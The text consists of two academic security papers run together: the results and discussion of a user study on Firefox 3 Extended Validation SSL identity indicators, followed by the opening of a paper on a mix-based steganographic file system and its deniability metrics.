a variety of majors and years of university education. Two participants were
Computer Science and Engineering students who had high technical knowledge
of computer security. With the exception of one other participant, the remaining
users had relatively little computer security knowledge. Despite this, 21 out of
28 participants rated their concern for using their credit cards online as 8 or
higher on a Likert scale from 1 (low) to 10 (high). All participants had made
a purchase online in the past; 50% of participants reported making online pur-
chases at least once per month. All participants browsed the Internet at least
5-10 hours per week, and consequently were very familiar with the use of a web
browser. Microsoft’s Internet Explorer was the web browser customarily used by
15 of the participants, 8 used Mozilla Firefox, 4 used Apple’s Safari, and one
participant reported using Netscape.

3.3 Tasks

Each participant in the study was asked to complete a 60 minute lab session.
The participants were randomly assigned to one of two groups, with each group
having the same distribution of gender, age, and education. Before proceeding to
the tasks, participants in Group 1 were informed that the study’s purpose was
“to evaluate different web browsers and web sites that could be used for Internet
shopping”. This was not intended to deceive the participants in any way, but
to ensure that there was no specific focus on security so that they would not
be influenced to act any differently than they normally would. Participants in
Group 2 were provided with the same purpose statement but were also told that
“we are interested in such things as visual appearance, item pricing, amount of
contact details, trust in the site’s authenticity, and ease of use”. The purpose of
the additional information was to evaluate whether the subtle reference to trust
in the site’s authenticity would influence the participant to focus more on the
identity indicators. All other aspects of the study were identical for both groups.

After the introduction, the participant performed a sequence of 7 tasks. Each
task involved the following steps:

1. Read a brief description of three items to be located on a web site.
2. Double-click on a desktop icon corresponding to the task number to open

one of the web sites within one of the 7 browser interfaces.
3. Locate the three requested items on the web site and record the price of each

on a sheet provided.
4. Answer a series of two questions: (1) on a 10-point Likert-scale, “How willing

would you be to make purchases on this web site with your own credit card?”
and (2)“What factors did you use in making your decision?”

The order of presentation of the browser interfaces, web sites and tasks were
counterbalanced using spatially balanced 7x7 latin squares [7] to avoid bias cre-
ated by the order in which the independent variables are presented. Once all 7
tasks were completed, a follow-up interview was conducted in which participants
were asked for their opinions regarding the web browsers used in the study and
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whether or not they noticed the various identity indicators being evaluated. Fi-
nally at the end of the lab session, each participant filled out a questionnaire
used to collect demographic information.

3.4 Results

Each participant completed all 7 tasks, giving us a total of 196 tasks from which
to draw data. The results were analyzed based on both qualitative data (obser-
vation of the participant’s behavior during the study, post-task questionnaires
and interviews at the end of the session) and quantitative data (gathered by the
eye tracker and the post-task questionnaire).

Self-Reported Attention to the Identity Indicators We were able to deter-
mine which identity indicators were noticed by observing the participants during
the study and by reviewing their responses to the follow-up interview. Our re-
sults showed that the identity indicator introduced in the FF3 web browser went
unnoticed by all of the participants in our study, regardless of the group con-
dition. Because the indicator was not even noticed, no one attempted to click
on this indicator and therefore no one saw the pop-up information box that
distinguished between the three certificate levels.

Of the 14 participants in Group 1 (those given minimal instructions), six
reported noticing the FF3mod identity confidence indicator while performing
the tasks. This same indicator was reported to be noticed by 9 participants
in Group 2 (the group given enhanced instructions). Of these 15 participants
who reported noticing the FF3mod identity confidence indicator, seven reported
seeing it on at least two different interfaces. Five participants were unsure of
how many times they had seen this indicator, while the other three said they
only noticed it once near the end of their tasks as they became more observant
of the browser features.

All 7 participants who reported noticing the FF3mod identity confidence in-
dicator at least twice while performing their tasks also reported noticing the
different states of the indicator. Three of these participants immediately caught
on to the meaning of the indicator and actively used this indicator when making
decisions about their willingness to transact with the web sites. The participants
who did not use the indicator in their decision-making dismissed it, stating rea-
sons such as “I don’t understand what it means” or “I just assumed all of the
web sites were the same”. None of these participants made any attempt to in-
teract with (click on) the identity confidence button and therefore did not see
the pop-up information box at any point.

During the follow-up interview, participants were explicitly shown the two
different browsers (FF3 and FF3mod) and the identity indicators that were
evaluated in the study and were asked which they would prefer to use at home
if given the option. The FF3mod browser with the identity confidence button
was chosen by 22 of the 28 participants (78.6%). When asked why they would
choose this option, participants gave reasons such as the indicator being more
eye-catching and easier to notice, and the fact that it provides some identity
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information without having to click on the button. Most felt the unmodified
FF3 version was too subtle. The 4 participants who preferred FF3 stated that
they liked the fact that it took up less space in the chrome but commented that
they would need to somehow be made aware that it existed. One participant had
no preference for either indicator, and one other clearly stated they preferred the
traditional lock icon to either of these identity indicators.

Objective Measures of Attention to Identity Indicators. The results ob-
tained with respect to participants’ self-reported attention to identity indicators
were verified with the eye tracker data. The eye tracker allowed us to replay each
session in order to visually analyze times at which the user may have looked at
the indicators. The replay screen portrays a moving blue dot that signifies the
user’s gaze; the larger the dot becomes, the longer the user has fixated on that
region of the screen (see Fig. 3). We were also able to analyze data files that
recorded the x and y co-ordinates of the gaze at intervals of 20 milliseconds to
determine times at which the participant’s gaze was fixated on the indicator’s
co-ordinates.

The eye tracker data confirmed that the 15 participants who reported noticing
the FF3mod identity confidence indicator throughout the tasks did in fact fixate
on the co-ordinates where the button was displayed for an average of 1.1 seconds
at a time. Data from the participants who did not report noticing the identity
confidence indicator showed that if their gaze did fall on the co-ordinates of
interest, it was only for approximately 0.25 seconds at most.

In addition to the identity indicators being studied, seven participants also
reported using the traditional indicators (the lock icon or https) to help make
decisions about identity and trust. The eye tracker data confirmed that these
users did in fact fixate their gaze on the appropriate co-ordinates throughout the
7 tasks. There were also 4 participants who did not report using the traditional
indicators in their decision-making but whose gaze fixated on their co-ordinates
during most tasks.

Fig. 3. A screenshot of the eye tracker replay function. The large circle near the identity
confidence indicator shows the participant’s fixation on that region of the screen.
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One of the more interesting findings in the eye tracking data was how long
users spent gazing at the content of the web pages as opposed to gazing at
the browser chrome. On average, the 15 participants who gazed at traditional
indicators, new identity indicators, or both, spent about 8.75% of time gazing
at any part of the browser chrome. The remaining 13 participants who did not
gaze at indicators spent only 3.5% of their time focusing on browser chrome as
opposed to content. These percentages may have been even lower had the tasks
involved in the study taken longer to complete. While other studies have found
that many users are unable to distinguish between web page content and chrome,
ours suggests they do distinguish between the two and that they rarely glance at
the chrome at all. This finding was also supported by the participants’ comments
during the follow-up interview. When the identity indicators were pointed out
to participants, many made comments such as “I didn’t even think to look up
there” or “I was only focusing on the web page itself.”

Willingness to Transact. There was a wide range of answers to our Likert-
scale question, “How willing would you be to make purchases on this web site
with your own credit card?” Nine participants assigned the same rating across
all 7 browser interfaces, basing their decisions solely on visual appearance and
professionalism (which was kept relatively constant across all 7 web sites).

We took the mean of all ratings assigned to each browser interface and found
the numbers to be consistent with what we would expect. A significant overall
effect of interface on the ratings was found by performing an Analysis of Variance
(ANOVA)3 on the data (F(6,156)= 4.09, p<.001). There was no significant dif-
ference in ratings between the two groups (F(1,26)=.52,p<.48). There was also
no interaction between the group condition and the interface. Post hoc tests were
conducted to determine whether there were any significant pairwise differences
among the means using a Tukey HSD test4. There was a significant difference
in the means between the FF3 non-SSL interface and the FF3mod EV-SSL in-
terface, as well as between the FF3mod non-SSL interface and both the FF3
EV-SSL and FF3mod EV-SSL interfaces. There were no significant differences
between non-SSL and SSL interfaces or SSL and EV-SSL interfaces. Since the
FF2 control interface was not rated differently than any other interface, we chose
to remove this condition from further analysis.

A second ANOVA was performed to compare the two browser conditions with
the three different states of each browser. There was no interaction found be-
tween the factors of browser and state, and no significant difference between
the browsers (F(1,27)=0.40, p<.53). There was however a significant difference
in SSL state (F(2,54)=6.03,p<.005). We followed up these results with a Tukey

3 As is well known, an ANOVA is a statistical method used to make simultaneous
comparisons between two or more means; the values can be tested to determine
whether a significant relation exists between variables.

4 The Tukey Honestly Significant Difference test is a method of multiple comparisons
that test for a significant difference between a pair of means based on rankings from
smallest to largest
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HSD test and found the significant difference to be between the non-SSL and
EV-SSL states. There were no significant differences between non-SSL and SSL
states, nor between SSL and EV-SSL states.

With the eye tracking data, we were able to classify participants as “gazers”
or “non-gazers.” Participants who were considered to be gazers looked at ei-
ther the traditional security indicators (lock icon, https), the FF3mod identity
confidence indicators, or both, during each task. There were 11 participants clas-
sified as gazers in the study. All other participants were classified as non-gazers,
regardless of what they reported looking at during the study. By making this
distinction, we were able to identify that participants who look at SSL indica-
tors (either traditional lock and https or the new identity indicators) de-value
non-SSL connections and assign higher ratings to web sites with SSL or EV SSL
certificates; but in our study, less than 40% of participants were gazers.

To verify the difference in ratings assigned to non-SSL and SSL connections,
we performed ANOVAs on the data. Among non-gazers, as expected, there was
no significant difference in ratings across SSL state (F(2,32) = 1.61, p < .22).
However, there was a very significant difference in ratings across SSL state among
the gazers (F(2,20) = 6.32, p < .008). A Tukey HSD test was used to verify the
differences among the various SSL states among gazers; there was a significant
increase in mean ratings from non-SSL(3.41) to SSL(5.50) interfaces, as well as
from non-SSL(3.41) to EV SSL(5.95) interfaces. The increase from SSL to EV
SSL interfaces was not significant. Fig. 4 gives an overall picture of the ratings
between gazers and non-gazers for all browser versions and SSL states.

In addition to analyzing these ratings with respect to gazers vs. non-gazers,
we also compared the three users who reported using the FF3mod identity
confidence indicator in their decision-making with other gazers who did not. Par-
ticipants who used the FF3mod identity confidence indicator in their decision-
making assigned a mean rating of 8.33 to the EV SSL interfaces, 6.50 to

Fig. 4. Boxplot of participants’ mean willingness to transact ratings based on Browser
and SSL state, grouped by gazer or non-gazer
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interfaces with SSL, and 3.83 to interfaces with non-SSL connections. Although
these differences appear large, the small number of participants who made use
of this new indicator in their decision-making prevented a meaningful statistical
comparison.

4 Discussion

4.1 Extended Validation Indicators

Our results showed that the identity indicators used in the unmodified FF3
browser did not influence decision-making for the participants in our study in
terms of user trust in a web site. These new identity indicators were ineffective
because none of the participants even noticed their existence. Had they known
that this clickable area existed beside the browser’s URL bar, they would have
been able to distinguish between the three SSL states by clicking on that area and
seeing the pop-up information box. Since this functionality was not discovered,
the indicators were of no value to the user. The differences in ratings based on
state for this browser can only be explained by the use of the traditional lock
icon and https indicators.

While many participants also disregarded the new FF3mod identity confidence
indicator or did not notice it at all, it was promising to note that three partici-
pants did make use of it in their decision-making and seemed to understand its
meaning immediately. This supports the idea that users may be able to reliably
make use of such indicators to evaluate web site identity. In addition to these
three users, twelve others reported noticing the identity confidence indicator but
did not report using it in decision-making, possibly because they did not fully
understand its purpose. Many participants reported noticing the indicator late
in the study after most of the tasks were completed; this suggests that as users
are given more exposure to the new indicators, they may be more likely to take
notice of them.

It is also interesting to note that, while there were significant differences in
ratings given to non-SSL interfaces vs. SSL or EV SSL interfaces, there was
no significant difference in ratings given to SSL vs. EV SSL interfaces. Even
among the three participants who reported using the FF3mod identity confidence
indicator in their decision-making, only one participant gave notably different
ratings to the FF3mod SSL and the FF3mod EV SSL interfaces. The other two
participants also used the traditional lock icon or https to aid in their decisions
and thus assigned high levels of trust to all SSL interfaces. Since we did nothing
to educate participants on the differences between SSL and EV SSL, and they
had no background knowledge in the area, it is not surprising that ratings given
to these interfaces did not differ greatly. If the goal of EV SSL certificates is to
give users a higher level of confidence in a web site’s identity than traditional
SSL certificates, we believe that users will need to be better educated on the
different levels of identity indicators.
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4.2 User Attention to Browser Chrome

We have seen in previous studies that most users may not be able to distinguish
between web page content and browser chrome [2]. With the use of eye tracking
data, our study also showed that many users spend very little time looking at
any parts of the browser chrome. This presents an important challenge when it
comes to incorporating security cues into web browsers; any content provider
can trivially modify the content of a website to include security information.
This problem is amplified by the fact that many users actually look for security
information in the page content of a website. During our study, several users
mentioned they had looked for security logos within the websites or looked for
statements on the payment pages regarding the security of their credit card
information. These types of security cues could be effortlessly incorporated into
an attacker’s web site and many users would evidently be fooled by this type of
technique.

While elements of the browser chrome can also be spoofed [5,20,21], it is
more work for the attacker. It becomes even more difficult when browsers such
as Internet Explorer 7.0 place restrictions on which parts of the window can
be hidden, but it is still not impossible. However, in order to provide identity
indicators that can best aid users in identifying web sites, designers need to place
these identity cues in the chrome. Two main open questions remain: (1) how can
users be persuaded that the elements of the chrome are worth looking at; and
(2) how can it be ensured that users can distinguish a legitimate indicator from
a spoofed indicator?

4.3 Design Implications

The fact that most users tend to ignore the browser chrome suggests that de-
signers need to somehow find a way to draw visual attention to any security cues
provided by the browser. We attempted to do this with our FF3mod identity
confidence indicator by making it larger than the original FF3 indicator and us-
ing a color contrast to the browser chrome surrounding it. However, this was still
not enough to get half of our study participants to take notice of it. We feel that
better techniques for drawing user attention to important security indicators are
needed, especially if these indicators are meant to be intuitive for the user. (Of
course, parties responsible for other buttons in the chrome likely feel similarly
about the importance of their buttons unrelated to security). However, this is
also dangerous advice since attackers can counter this by finding ways of spoof-
ing these parts of the chrome. The design of these indicators should be done
in a way that makes it much more difficult for attackers to replicate. Mozilla
developers [14] attempted to do this by having the identity indicator’s pop-up
window overlap slightly with the location bar, but we believe this is unlikely to
be noticed by most users.

Another important design issue to note was the “clickable” feature of both
the FF3 and FF3mod indicators. Not one participant in our study clicked on
any of the indicators, even those who did notice and use the FF3mod identity
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confidence indicator. We designed our FF3mod indicator to have rounded edges
and shading in an attempt to make it appear button-like, however this failed to
cause users to click on this button. Perhaps more shading or a different shape
would have been more effective. It is also possible that including action words,
such as “click here” might have had more of an effect, but clearly it seems
unreasonable for every clickable button to be so annotated.

4.4 Limitations of the Study

One of the major limitations of our study was the fact that it was conducted in
a laboratory setting rather than in the field. This may have led to participants
acting differently than they normally would in their own environments. Some
participants may have felt more secure than during their normal web browsing
because it was a university setting, while others may have paid more attention
to security because of the more formal setting. The eye tracker may have also
influenced people to behave differently since they were aware that their eye move-
ments were being recorded. However, the eye tracker provided us with valuable
data for our analysis and this was the main reason for the use of a laboratory
setting; it would not be realistic to expect participants to install eye trackers in
their home environments for the purposes of the study.

The fact that the tasks involved recording prices rather than following through
with financial transactions may have also influenced participants to be less con-
cerned with security. This effect was balanced by asking them questions after
each task regarding their willingness to transact with the web site; these ques-
tions were intended to draw their attention to security issues.

Another potential limitation of our study was participants’ lack of familiarity
with the various components of the study. Twenty of the 28 participants did
not use Mozilla Firefox as their usual web browser. The novelty of an unfamiliar
browser may have distracted participants because not only were the identity
indicators new to them, but so was the overall look and feel of the browser
window. The concept of EV SSL certificates is also relatively new, so we expect
many users are not even aware that they should be looking for cues relating to
the certificate types. As users gain more knowledge of EV SSL certificates, they
may become more likely to use the types of identity indicators used in this study
to make decisions about online security.

5 Conclusion and Future Work

While the introduction of Extended Validation SSL certificates was intended
to help users make informed decisions regarding the identity and authenticity
of a web site, our study shows that the unmodified Firefox 3.0 browser cues
fail to effectively convey this information, at least in the absence of additional
user training or awareness. By introducing a modified design of the Firefox 3.0
browser, we were able to increase the number of users who reported noticing
an identity indicator to 15 (over 50% of the study participants) and observed
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three users who showed immediate understanding of the indicator. However, to
have users take notice of this new identity confidence button, we were forced
to use more valuable space in the browser chrome. Regardless of the size of the
indicator, many users tend to look to the content of the web site for security in-
formation rather than the browser chrome. This presents a challenge for browser
interface designers who wish to provide to the user intuitive identity cues that
will not go unnoticed.

A natural extension of our study is to evaluate user reactions to the indica-
tors as a function of users being given increasingly more information before the
study tasks. A future field study would also be interesting to measure behavior
over time as users become more aware of the EV SSL features to see whether
these indicators would continue to aid them in their decision-making or whether
they would eventually be dismissed. We were unable to study the information
conveyed by the pop-up box triggered by clicking on the indicator (none of the
participants attempted to interact with the indicators). Another aspect to study
is the effect of the particular wording of this pop-up box as well as its behavior in
the browser. Having the browser display a message pointing out the new features
of this box might successfully draw the user’s attention to the identity indicator.
Until users are aware that identity indicators exist in the browsers and are able
to effectively interpret their meaning, we believe that Extended Validation SSL
certificates will have little effect on online security.
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Abstract. The goal of Steganographic File Systems (SFSs) is to pro-
tect users from coercion attacks by providing plausible deniability on
the existence of hidden files. We consider an adversary who can monitor
changes in the file store and use this information to look for hidden files
when coercing the user. We outline a high-level SFS architecture that
uses a local mix to relocate files in the remote store, and thus prevent
known attacks [TDDP07] that rely on low-entropy relocations. We de-
fine probabilistic metrics for unobservability and (plausible) deniability,
present an analytical framework to extract evidence of hidden files from
the adversary’s observation (before and after coercion,) and show in a
experimental setup how this evidence can be used to reduce deniability.
This work is a first step towards understanding and addressing the secu-
rity requirements of SFSs operating under the considered threat model,
of relevance in scenarios such as remote stores managed by semi-trusted
parties, or distributed peer-to-peer SFSs.

1 Introduction

Steganographic File Systems (SFSs) were first proposed by Anderson et al.
in [ANS98]. The goal of these systems is to conceal not just the content of
the files they store, but the very existence of some of those files. Steganogra-
phy is required to protect users from coercion attacks, where they are forced
(e.g., under the threat of violence) to disclose their cryptographic keys to the
attacker if the existence of files is known. To protect against these attacks, SFSs
typically provide the user with several security levels, each associated with a
cryptographic key. In case of coercion, the user provides keys to some security
levels (thus revealing some files) without leaking information on the existence of
hidden security levels (containing hidden files that are undistinguishable from
random data.)

Some of the previous SFS proposals [ANS98, MK99] were designed to pro-
tect against attackers who obtain a few snapshots of the file store sufficiently
spaced in time (e.g., customs inspection performed when entering and leaving
a country.) However, adversaries who permanently monitor the file store are
of practical relevance. For example, the model in [ZPT04] considers a shared
multi-user file store where a malicious user or system administrator monitors
store accesses. And this threat model is particularly relevant for distributed
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peer-to-peer SFSs [GL04, HR02], given that any eavesdropper in the vicinity
of the user can monitor her connections to other peers (each storing some file
blocks,) and use the traffic information to obtain evidence of hidden files.

StegFS [ZPT04] is, to the best of our knowledge, the only previous pro-
posal of SFS that implements measures to protect against this adversary model.
StegFS avoids simple location access frequency analysis by continuously gener-
ating dummy accesses to random locations in the store, and by relocating file
blocks every time they are accessed. In spite of these measures though, previ-
ous work [TDDP07] has shown that the low-entropy block relocation technique
used in [ZPT04] enables very powerful traffic analysis attacks capable of un-
covering virtually any “hidden” files. In order to counter these traffic analy-
sis attacks, SFSs subject to continuous surveillance require some form of high-
entropy block relocation strategy. Such relocation strategy can be achieved using
mixes [Cha81], a well-known mechanism for implementing anonymous email ser-
vices [DDM03, MCPS03]. Besides cryptographically changing the appearance
of messages, mixes alter the message flow to prevent traffic analysis attacks
based on input and output order, a useful property to introduce uncertainty
in the block relocation process. This paper develops a framework for analyzing
mix-based SFSs, and its purpose is to serve as basis for their design and evalu-
ation. We define probabilistic metrics that characterize the security of an SFS
by its unobservability and (plausible) deniability, present methods to analyze
whether evidence of hidden files is leaked to the adversary, and validate our
analysis through experiments. Our results highlight the power of traffic analysis
techniques and the challenge of achieving acceptable levels of security against
adversaries who can monitor SFS accesses.

The rest of the paper is organized as follows. Section 2 outlines MixSFS, a
high-level SFS architecture that uses a local pool mix for relocating data blocks
in a remote store. The adversary model is described in detail in Sect. 3. The
probabilistic metrics used to characterize the security of MixSFSs are defined
in Sect. 4; and Sect. 5 shows how they can be used to evaluate the security of
MixSFS architectures. Finally, we present our conclusions in Sect. 6.

2 MixSFS Architecture

We assume the user has a set UK of secret keys, UK = {uks : s = 1 . . . S}, where
each key uks corresponds to a security level s. Files in the system are classified
according to their security level, such that a file fs in level s is encrypted under
key uks. For convenience, we assume that user keys are hierarchical [AT83], such
that a key uks decrypts all files in security levels s and lower. The view of the
user on the MixSFS file system contents depends on the level of security with
which she logged in. For a security level s, we call visible files those files in
level s or lower, and hidden files those (if any) in levels s′ higher than s. The
design goal of MixSFS is to make it impossible to distinguish whether or not
s is the highest existing security level—and thus, whether or not there are any
hidden files in addition to the visible ones. Transparently to the user, MixSFS
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stores files in blocks of fixed size: large files occupy a few blocks and small files
of the same security level are packed together in one block. We call file blocks
the blocks that contain (encrypted) file data (file blocks can belong to visible or
hidden files,) and dummy blocks empty blocks filled with random data.

Main Architectural Components. MixSFS has an architecture as depicted
in Fig. 1. The system comprises two separate parts: the user local computer
(accessible to the attacker only when coercing the user) and a remote store
(always visible to the attacker,) which is divided in N blocks of equal size. The
user local computer contains three main MixSFS components, namely:

– An agent that runs the MixSFS software and provides the user with an
interface for file management. The agent translates the user’s file requests
into block-level operations, and generates automatic (dummy) accesses when
the user is idle.

– A memory pool with capacity for P blocks. The pool is used by the agent
to mix blocks and relocate them in the store.

– A table with N + P entries (one per block storage location,) containing
block meta-data. The table is used (and updated) by the agent to keep track
of blocks and to manage files. Both the pool and the table are available to
the attacker when she coerces the user.

Table. The table is indexed by location, and each entry contains the following
fields (as shown in Fig.2):

– A location index i, with 1 ≤ i ≤ N for (remote) block store locations, and
N + 1 ≤ i ≤ N + P for (local) pool locations.

– A hash H (A) of the block A stored in that location, used to check that no
error or active attack has corrupted the block since it was last stored.

– A randomly generated, one-time block key bkA that is updated every time
the block is accessed, and whose purpose is to provide forward and backward

Fig. 1. MixSFS architecture
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Fig. 2. Table entries (left) and storage blocks (right)

security. When coercing the user, the adversary obtains the current list of
block keys from the table. Previous block keys however, are unavailable,
meaning that old versions of the blocks cannot be decrypted. Future block
keys will be randomly generated, so backward security is also provided.

– A metadata field that contains a random vector IVA and MA = random
data if A is an empty block. If A contains file data of security level s, this
field contains MA = Euks(IVA, metadataA||rA), a randomized encryption
of the metadata needed by the agent to manage A’s content. The metadata
is padded to a fixed length with a random string rA, and encrypted under
key uks using IVA as initialization vector. Note that this is the only table
field that is encrypted, and a secure mode of operation (e.g., CBC) must
be used to ensure that it leaks no information on blocks that share similar
metadata encrypted under the same key.

– The last field contains HA = random if A is empty; if A belongs to a file fs

then HA = H(Duks(IVA, MA)) is a hash of the decryption of MA.

We assume that the table is locally stored securely, and only accessible to
the adversary while coercing the user. When the user logs into MixSFS with
uks, the agent loads the table and trial-decrypts every MA field. If HA =
H(Duks(IVA, MA)), then A is a file block and the decryption of MA provides
metadataA. If HA �= H(Duks(IVA, MA)), then A is considered empty (this hap-
pens either because A is a dummy block, or because it belongs to a hidden file
fs′ in level s′ > s.)

Agent. Upon login, the user provides uks to the agent, with which the agent
obtains the metadata of files in levels s and lower. The agent provides the user
with an interface to operate (read, write, create and delete) on visible files,
while making block-level operations transparent. To execute the file opera-
tions, the agent assembles and disassembles files into blocks, taking care of the
block redundancy ; decides which block to access next, and it cryptographically
transforms and relocates blocks in each access cycle. We assume the agent can
securely generate random numbers, and securely delete any session data in RAM
at log out.

Block Redundancy and File Operations. A user logged in with security
level s that increases the size of a visible file fs or creates a new one, risks
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Fig. 3. Access cycle

overwriting the blocks of a hidden file fs′ in security level s′ > s, as these blocks
appear empty. In order to improve file resilience towards block losses, MixSFS
adds redundancy to file blocks with an erasure code [Rab89, Riz97] that is applied
on the plaintext file. A (n, m) optimal erasure code converts an original m-block
file into n > m encoded blocks, such that any combination of m encoded blocks
suffices to recover the file (i.e., up to n − m file blocks may be lost) and the
surviving blocks can be used to regenerate the lost ones. For multi-block files,
the individual coded blocks do not follow any order of have any meaning by
themselves. For single-block files, the coding relies on pure replication for block
redundancy purposes. The agent translates files into encoded blocks and vice
versa.

We classify operations on a file fs of size (n, m) in two categories: file read and
file update (which includes file creation, file deletion and file write operations.)
For file reads, any subset Bf = {b : b ∈ fs} of |Bf | = m blocks is sufficient
to complete the operation; while |Bf | = n are needed to complete a file update
(requires updating all redundant blocks.) Let us call P the set of blocks available
locally in the pool. For any b ∈ Bf such that b ∈ P , b is immediately (and
unobservably) operated on, and B = {b ∈ Bf : b �∈ P} is the set of blocks in Bf

that need to be fetched from the store to complete the file operation.

File and Dummy Block Access Strategies. Once the agent has determined
the set B of remote blocks it needs to complete a file operation, it could sequen-
tially fetch every b ∈ B, to finish the operation as fast as possible, but this would
also facilitate the traffic analysis presented in Sect. 5. Instead, MixSFS uses a
file access strategy that completes the operation in |B| · e−1 access cycles on
average, where e is the operation efficiency: for each of the blocks b ∈ B the
agent flips a biased coin, and with probability e it fetches b from the store; with
probability 1 − e, it performs a dummy access on a store location selected at
random, and flips the coin again, until b has been accessed.

When the agent does not have any pending file operation, it generates au-
tomatic dummy accesses to the store. The agent’s strategy for deciding which
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store locations to access while the user is idle is very important for concealing ac-
tual file operations. In this paper, we have tested a uniform dummy strategy
(i.e., the agent selects the next remote block location i : 1 ≤ i ≤ N uniformly at
random) in order to better understand how file accesses generate evidence that
is distinguishable from white noise, and how this can be used by the adversary
to coerce the user. More sophisticated dummy access strategies that emulate
file operations can be designed and tested extending the analysis presented in
Sect. 5, but for reasons of space limitation they are not included in this paper
and are left as a subject of future work.

Access Cycle. Whenever MixSFS is running, the agent accesses store locations
at a rate independently of user activity, so that user file requests cannot be
inferred from fluctuations in the access rate. All types of access cycles (read,
update, or dummy) consist of the same basic steps, the only exception being
the third step, that is performed if the block is part of a file (read or update)
operation, but skipped in dummy accesses. Figure 3 illustrates the steps of an
access cycle:

1. Read Block from Store Location. The agent chooses, according to its
access strategy, a storage location i (1 ≤ i ≤ N ,) and reads its content
{A} = EbkA(A). If A ∈ fs, then A = Euks(data). And A = random if it is a
dummy block (or a hidden file block,) as shown in Fig. 2 (right.)

2. Decrypt Block. The agent decrypts {A} with the one-time block key bkA,
and verifies its integrity by computing the hash H(A) and comparing it to
the value stored in table entry i.

3. [Optional] File Operation. If the block access is part of a file operation,
then A is either (1) part of a file read: A is further decrypted with uks,
and the file data is passed in plaintext to the user; or (2) part of a file
update: A is overwritten with an (encrypted) updated version of the data.
Additionally, H(A) is updated and the same applies to MA and HA if A’s
metadata has changed with the update. These operations are internal to the
user’s computer and unobservable to the adversary.

4. Encrypt Block. The agent generates a new random bk′
A, and uses it to

encrypt A (which is unchanged unless it is part of a file being updated,) so
that the new {A}′ = Ebk′

A
(A) cannot be linked through its appearance to

its old version {A}.
5. Place Block in the Pool. The pool contains P − 1 blocks and an empty

location p : 1 ≤ p ≤ P , where {A}′ is placed. The table entry for pool
location p (table index N +p) is updated with {A}′ metadata, including the
new bk′

A, and updates in H(A), MA, and HA if appropriate.
6. Select New Block from Pool. The agent chooses uniformly at random a

pool location p′ : 1 ≤ p′ ≤ P , and reads the block {B}′ it contains.
7. Write New Block to Store Location. {B}′ is written to location i of the

store, and the table entries i and N + p′ are updated; i.e., B’s information
is moved to table entry i, and pool position p′ becomes the empty space in
the pool for the next cycle. Note that the pool contains P − 1 blocks at all
times except for step 5 of the access cycle, where it contains P blocks.
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3 Adversary Model

The goal of an SFS is to protect the user against coercion attacks by providing
plausible deniability on the existence of files. In a coercion attack , the adver-
sary forces the user to disclose the keys to access her data. The user willingly
provides key uks and reveals s security levels, and the adversary inspects the
system and uses any available information (obtained both before and after co-
ercion) to determine if there are any remaining (hidden) files. We say an SFS
provides plausible deniability if with all available information the adversary
is not able to determine the existence of hidden files. We propose in the next
section a metric for plausible deniability, and develop in Sect. 5 a method to test
the protection offered by MixSFS against this attacker.

Previous SFSs [ANS98, MK99] are designed to protect against coercive attacks
where the only information available to the adversary are a few snapshots of
the store contents taken under coercion, and sufficiently spaced in time. These
systems however, fail to protect the user if the adversary is allowed take as many
snapshots as desired, separated by arbitrarily small amounts of time, prior to
coercion: the analysis of which locations had their content modified in between
snapshots provides the attacker with valuable evidence on the existence and
location of hidden files—depriving the user of plausible deniability. This paper
considers a rather strong adversary model, similar to [TDDP07, ZPT04], that
passively monitors the store to accumulate evidence prior to coercion (note that
our system is secure towards the weaker adversary considered in previous work.)
We assume the adversary records the (encrypted) contents of the store at all
moments, as well as the (temporal) sequence of accessed locations, on which she
performs traffic analysis in real-time.

Active attacks that compromise the integrity of blocks are detectable by
MixSFS: if a block A has been modified, its hash no longer matches the H(A)
stored in the table. We assume that the adversary has incentives to stay unde-
tected before coercion, and therefore, only passive attacks are taken into account.

4 Security Metrics

We characterize the security ofMixSFSby twoproperties thatwe define probabilis-
tically, unobservability (see [PH01] for a more general definition) and plausible
deniability . To formalize these notions, let us first introduce the notation:

– Let Ψ be the set of all possible sequences of store location accesses; and
ψ ∈ Ψ be a particular sequence seen by the adversary (evidence obtained
prior to coercing the user.)

– Let Φ denote the set of all possible internal states of MixSFS’ pool and table;
and φ ∈ Φ be a particular state seen by the adversary after coercing the user
and obtaining key uks.

– Let H0 and H1 be, respectively, the hypotheses that the observed MixSFS
activity was generated by dummy cycles (H0); or by file operations (H1.)

– Let U denote unobservability, and let D denote deniability.
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Definition 1. We define Ψ0 ⊂ Ψ as Ψ0 = {ψ : Pr(ψ|H0) > Pr(ψ|H1)}; and
Ψ1 ⊂ Ψ as Ψ1 = {ψ : Pr(ψ|H1) > Pr(ψ|H0)}. Note that Ψ0 ∪ Ψ1 = Ψ , and
Ψ0 ∩ Ψ1 = ∅

Definition 2. We define Φ0 ⊂ Φ as Φ0 = {φ : Pr(φ|H0) > Pr(φ|H1)}; and
Φ1 ⊂ Φ as Φ1 = {φ : Pr(φ|H1) > Pr(φ|H0)}. Note that Φ0 ∪ Φ1 = Φ, and
Φ0 ∩ Φ1 = ∅

We say that file operations are unobservable if they generate evidence ψ that
the adversary believes is most likely the result of dummy activity (i.e., ψ ∈ Ψ0.)

Definition 3. We define unobservability as the probability of a file operation
being undetected by the adversary:

U = Pr(ψ ∈ Ψ0|H1) = 1− Pr(ψ ∈ Ψ1|H1) (1)

At any point in time, the adversary may coerce the user and obtain evidence φ
from inspecting MixSFS’ pool and table. The goal of the attacker is to use ψ
and φ to check if there is any hidden file fs′ for which the user has not provided
the keys. We say the user has plausible deniability if under coercion she can
prove that ψ and φ are plausibly consistent with her claim that no fs′ exists.
To evaluate plausible deniability in MixSFS we examine the worst-case scenario,
in which coercion happens just as the user has made an operation on fs′ that
provided the adversary with ψ and φ. We then analyze whether the user can
plausibly claim that ψ and φ are the result of dummy activity.

Definition 4. Given evidence ψ and φ, we define deniability as the scaled
posterior probability (obtained with Bayes’ theorem) that ψ and φ have been
generated by dummy activity:

D = min{1, 2 · Pr(H0|ψ, φ)} (2)

We define a plausibility threshold δ, 0 < δ ≤ 1, such that deniability is
plausible if D ≥ δ. We define plausible deniability as PD = Pr(D ≥ δ).

We scale Pr(H0|ψ, φ) by multiplying by two so that D = 1 when there is per-
fect undistinguishability; i.e., Pr(H0|ψ, φ) = Pr(H1|ψ, φ) = 0.5. In cases where
ψ and φ seem most likely the result of dummy activity (i.e., Pr(H0|ψ, φ) >
Pr(H1|ψ, φ),) we also consider that D = 1.

The value of δ depends on the security needs of the user. In some cases (e.g.,
evidence in court,) it may be enough for the user to prove that there is a small
chance (e.g., δ = 0.01) that no fs′ exists for the attacker to fail; while in others
she may need higher values of δ to be safe (e.g., if the adversary is willing to use
